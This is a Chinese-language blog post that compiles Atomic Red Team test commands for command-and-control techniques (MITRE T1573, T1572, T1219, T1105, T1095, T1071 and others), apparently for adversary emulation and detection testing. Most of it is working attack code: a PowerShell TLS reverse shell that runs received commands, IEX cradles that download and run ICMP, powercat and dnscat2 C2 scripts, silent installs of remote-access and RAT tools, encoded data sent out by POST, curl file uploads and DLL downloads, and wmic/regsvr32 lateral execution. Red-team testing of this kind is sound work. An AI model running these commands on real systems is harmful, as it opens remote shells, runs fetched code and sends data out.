526互联

Atomic-命令与控制战术

发布时间 2023-06-08 15:31:13作者: 皇帽讲绿帽带法技巧

Atomic-命令与控制战术

具体战术概览

command-and-control
T1573
Encrypted Channel    加密通道

T1572
Protocol Tunneling   协议隧道

T1571
Non-Standard Port    非标准端口

T1219
Remote Access Software   远程访问软件

T1132.001
Data Encoding: Standard Encoding   数据编码：标准编码

T1105
Ingress Tool Transfer              入口工具传输

T1095
Non-Application Layer Protocol      非应用层协议

T1090.003
Proxy: Multi-hop Proxy              代理：多跳代理

T1090.001
Proxy: Internal Proxy               代理：内部代理

T1071.004
Application Layer Protocol: DNS     应用层协议：DNS

T1071.001
Application Layer Protocol: Web Protocols   应用层协议：Web协议

主机模型-加密通道

1. 使用 Openssl 建立 C2

C2 : Command and Control (C2)

$server_ip = 127.0.0.1
$server_port = 443
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}sc.exe create artservice binPath= "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\art-marker.txt"

https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926
https://gist.githubusercontent.com/clr2of8/4786587885a7debc576ab44a32fa5cb7/raw/af5827f3169920035da73bc17bc5ec8465b41c59/c2_client_to_openssl_server.ps1

主机模型-协议隧道
1. 通过DNS over HTTPS 进行大量查询
for($i=0; $i -le 1000; $i++) { (Invoke-WebRequest \""https://8.8.8.8/resolve?name=atomicredteam.$(Get-Random -Minimum 1 -Maximum 999999).127.0.0.1.xip.io&type=TXT\"" -UseBasicParsing).Content
2. 通过 DNS over HTTPS 进行常规信标

常规信标：该测试模拟受感染的主机通过 DoH 查询向命令和控制服务器定期发送信标。这种行为对于处于空闲状态等待指令或配置为随着时间的推移使用低查询量来逃避基于阈值的检测的植入物来说是典型的。

Set-Location C:\AtomicRedTeam\atomics .\T1572\src\T1572-doh-beacon.ps1 -DohServer https://8.8.8.8/resolve -Domain 127.0.0.1.xip.io -Subdomain atomicredteam -QueryType TXT -C2Interval 30 -C2Jitter 20 -RunTime 30
3. 通过 DNS over HTTPS 进行长域名查询
Set-Location C:\AtomicRedTeam\atomics .\T1572\src\T1572-doh-domain-length.ps1 -DohServer https://8.8.8.8/resolve -Domain 127.0.0.1.xip.io -Subdomain atomicredteamatomicredteamatomicredteamatomicredteamatomicredte -QueryType TXT
主机模型-非标准端口
1. 使用 Powershell 测试非标准端口使用情况
Test-NetConnection -ComputerName google.com -port 8081
2. 使用 telnet 测试非标准端口使用情况
echo quit | telnet google.com 8081
exit 0
主机模型-远程访问软件
1. 在 Windows 上检测 TeamViewer 软件
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S; 
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
2. 在 Windows 上检测 Anydesk 软件
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;
3. 在 Windows 上检测 LogMeIn 软件
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
4. 在 Windows 上安装 GoToAssist 软件
"PathToAtomicsFolder\T1559\bin\build\namedpipes_executor.exe" --pipe 4
5. 在 Windows 上安装 ScreenConnect 软件
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi"
msiexec /i $installer /qn
6. 在 Windows 上安装 Ammyy Admin 软件
Start-Process $env:temp\ammyy.exe
7. 在 Windows 上安装 RemotePC 软件
Start-Process $env:temp\RemotePC.exe
8. 在 Windows 上安装 NetSupport 远程访问木马（RAT）软件
Start-Process $env:temp\T1219_NetSupport.exe -ArgumentList "/S /v/qn"
9. 在 Windows 上安装 UltraViewer 软件
Start-Process -Wait -FilePath "$env:temp\T1219_UltraViewer.exe" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'
10. 在 Windows 上安装 UltraVNC 软件
Start-Process $env:ProgramFiles\'uvnc bvba\UltraVnc\vncviewer.exe'
11. 在 Windows 上安装 MSP360 软件
Start-Process $env:ProgramFiles\Connect\Connect.exe
主机模型-数据编码-标准编码
1. 使用 Base64 编码数据
echo -n 111-11-1111 | base64
curl -XPOST MTExLTExLTExMTE=.redcanary.com
2. 使用 XOR 编码数据
$plaintext = ([system.Text.Encoding]::UTF8.getBytes(\""Path\n----\nC:\Users\victim\"")) $key = \""abcdefghijklmnopqrstuvwxyz123456\"" $cyphertext = @(); for ($i = 0; $i -lt $plaintext.Count; $i++) { $cyphertext += $plaintext[$i] -bxor $key[$i %% $key.Length]; } $cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext) [System.Net.ServicePointManager]::Expect100Continue = $false Invoke-WebRequest -Uri example.com -Method POST -Body $cyphertext -DisableKeepAlive
主机模型-入口工具传输

入口工具传输：可以理解为恶意攻击者想将一些带上传，下载，复制，移动，反弹功能的各种类似工具传入到目标受害的主机上，以达到进入目标主机的入口所使用的工具，我们成为入口工具传输。

具体测试用例看下面链接：
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1105/T1105.md

提取常用的入口工具特征

rsync scp sftp 

(certutil -urlcache) 

(certutil -verifyctl) 

(bitsadmin.exe /transfer)

(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")

cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}

timeout --preserve-status 1 whois -h localhost -p 443 "Hello from Atomic Red Team test T1105" > /tmp/T1105.whois.out

(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}

finger base64_filedata@#{remote_host}

$imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe"
& $imewdbled #{remote_url}

下载
curl -k url -o c:\users\public\music\allthethingsx64.dll
curl -k url --output c:\users\public\music\allthethingsx64.dll
curl -k url -o c:\programdata\allthethingsx64.dll
curl -k url -o %Temp%\allthethingsx64.dll

上传
curl -T c:\temp\atomictestfile.txt www.example.com
curl --upload-file c:\temp\atomictestfile.txt www.example.com
curl -d c:\temp\atomictestfile.txt www.example.com
curl --data c:\temp\atomictestfile.txt www.example.com

https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.bat

$machine_list = "$env:temp\T1105MachineList.txt"
$offline_list = "$env:temp\T1105OfflineHosts.txt"
$completed_list = "$env:temp\T1105CompletedHosts.txt"
foreach ($machine in get-content -path "$machine_list")
{if (test-connection -Count 1 -computername $machine -quiet) 
{cmd /c copy "#{binary_file}" "\\$machine\#{remote_drive_letter}$#{exe_remote_folder}"
echo $machine >> "$completed_list"
wmic /node: "$machine" process call create "regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}"}
else
{echo $machine >> "$offline_list"}}

replace.exe

certreq.exe -Post -config https://example.com c:\windows\win.ini %temp%\Atomic-license.txt

wscript.exe PathToAtomicsFolder\T1105\src\T1105-download-file.vbs

curl -sO https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/src/atomic.sh; chmod +x atomic.sh
 | bash atomic.sh

nimgrab.exe

powershell.exe iwr -URI https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt -Outfile %temp%\Atomic-license.txt
主机模型-非应用层协议
1. ICMP C2
IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
Invoke-PowerShellIcmp -IPAddress 127.0.0.1
2. Netcat C2
cmd /c $env:TEMP\T1095\nmap-7.80\ncat.exe 127.0.0.1 80
3. Powercat C2
IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
powercat -c 127.0.0.1 -p 80
主机模型-代理-多跳代理
1. Psiphon
PathToAtomicsFolder\T1090.003\src\Psiphon.bat

特征：psiphon3.exe

https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1090.003/src/Psiphon.bat
2. Tor Proxy Usage - Windows
invoke-expression 'cmd /c start powershell -Command {cmd /c $env:temp\tor\Tor\tor.exe}'
sleep -s 60
stop-process -name "tor" | out-null

https://archive.torproject.org/tor-package-archive/torbrowser/11.0.6/tor-win32-0.4.6.9.zip
3. Tor Proxy Usage - Debian/Ubuntu
sudo systemctl start tor

sudo apt-get -y install tor
4. Tor Proxy Usage - MacOS
osascript -e 'tell application "Terminal" to do script "tor"'

if [ ! -x "$(command -v brew --version)" ]; then /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh keystroke return)"; fi
brew install tor
主机模型-代理-内部代理
1. Connection Proxy
export http_proxy=127.0.0.1:8080

unset http_proxy
unset https_proxy
2. Connection Proxy for macOS UI
networksetup -setwebproxy Wi-Fi 127.0.0.1 8080
networksetup -setsecurewebproxy Wi-Fi 127.0.0.1 8080

networksetup -setwebproxystate Wi-Fi off
networksetup -setsecurewebproxystate Wi-Fi off
3. portproxy reg key
netsh interface portproxy add v4tov4 listenport=1337 connectport=1337 connectaddress=127.0.0.1

netsh interface portproxy delete v4tov4 listenport=1337 -ErrorAction Ignore | Out-Null
主机模型-应用层协议-DNS
1. 大量的 DNS 查询
for($i=0; $i -le 1000; $i++) { Resolve-DnsName -type \""TXT\"" \""atomicredteam.$(Get-Random -Minimum 1 -Maximum 999999).127.0.0.1.xip.io\"" -QuickTimeout}
2. DNS 常规信标
Set-Location C:\AtomicRedTeam\atomics .\T1071.004\src\T1071-dns-beacon.ps1 -Domain 127.0.0.1.xip.io -Subdomain atomicredteam -QueryType TXT -C2Interval 30 -C2Jitter 20 -RunTime 30
3. DNS 长域名查询
Set-Location C:\AtomicRedTeam\atomics .\T1071.004\src\T1071-dns-domain-length.ps1 -Domain 127.0.0.1.xip.io -Subdomain atomicredteamatomicredteamatomicredteamatomicredteamatomicredte -QueryType TXT
4. DNS C2
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')
Start-Dnscat2 -Domain example.com -DNSServer 127.0.0.1
主机模型-应用层协议-Web 协议
1. 使用 Powershell 执行恶意的User-Agent
Invoke-WebRequest www.google.com -UserAgent "HttpBrowser/1.0" | out-null
Invoke-WebRequest www.google.com -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
Invoke-WebRequest www.google.com -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
Invoke-WebRequest www.google.com -UserAgent "*<|>*" | out-null
2. 使用 CMD 执行恶意的User-Agent
curl -s -A "HttpBrowser/1.0" -m3 www.google.com >nul 2>&1
curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 www.google.com >nul 2>&1
curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 www.google.com >nul 2>&1
curl -s -A "*<|>*" -m3 www.google.com >nul 2>&1
3. Linux 环境下执行恶意的User-Agent
curl -s -A "HttpBrowser/1.0" -m3 www.google.com
curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 www.google.com
curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 www.google.com
curl -s -A "*<|>*" -m3 www.google.com